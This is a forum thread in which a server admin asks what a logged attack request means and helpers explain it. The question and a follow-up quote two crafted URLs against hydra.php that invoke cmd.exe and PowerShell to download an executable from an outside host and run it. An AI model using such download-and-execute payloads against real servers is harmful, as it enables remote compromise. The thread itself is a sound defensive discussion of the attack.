powershell exploit attempt

I've noticed that all of my web servers were logging this block below from my host intrusion prevention system.  For privacy, assume this particular webserver has a dns name of zeus.xyzcorp.com

zeus.xyzcorp.com/public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://a46.bulehero.in/download.exe','C:/8.exe');start%20C:/8.exe

Is this bot just a crafted URL request being thrown at my webserver in hopes that it is vulnerable to run a powershell script that will make it reach out and download + execute something? Which exploit would this be targetting?
trojan81Asked:
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Jose Gabriel Ortega CastroEE Rookie/Solution Guide/Topic Advisor and CEO Faru Bonon ITCommented:
it's trying to download "http://a46.bulehero.in/download.exe" as "C:\8.exe" and start the 8.exe.
I (by curiosity) just tried the http://a46.bulehero.in/download.exe on my browser and it doesn't bring anything (404 error)
so I'm unable to answer that :)

I think is trying somehow to run from your php page CMD and then PowerShell to run that.

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trojan81Author Commented:
Jose try this one

public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fuckyou.com/fuckyou.exe','C:/12.exe');start%20C:/12.exe
trojan81Author Commented:
Whatever it is doing, my webserver is no vulnerable so it didn't execute anything.  I'm curious which vulnerability it is targetting.
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Jose Gabriel Ortega CastroEE Rookie/Solution Guide/Topic Advisor and CEO Faru Bonon ITCommented:
Same 404 :)
Qlemo"Batchelor", Developer and EE Topic AdvisorCommented:
It's a very primitive attack, but I'm unable to find anything similar, so cannot tell about details. No website should execute arbitrary code using a PHP script, so being vulnerable is unlikely.
trojan81Author Commented:
Jose/Qlemo,

Would you say that it is trying to invoke powershell to download and run the file?
Qlemo"Batchelor", Developer and EE Topic AdvisorCommented:
Yes. but that would require to run PHP code in hydra.php located on your web site's public folder. Maybe a reference to http://www.markus-lanthaler.com/hydra/, and the crafted (cheap) attack based on that API?
Jose Gabriel Ortega CastroEE Rookie/Solution Guide/Topic Advisor and CEO Faru Bonon ITCommented:
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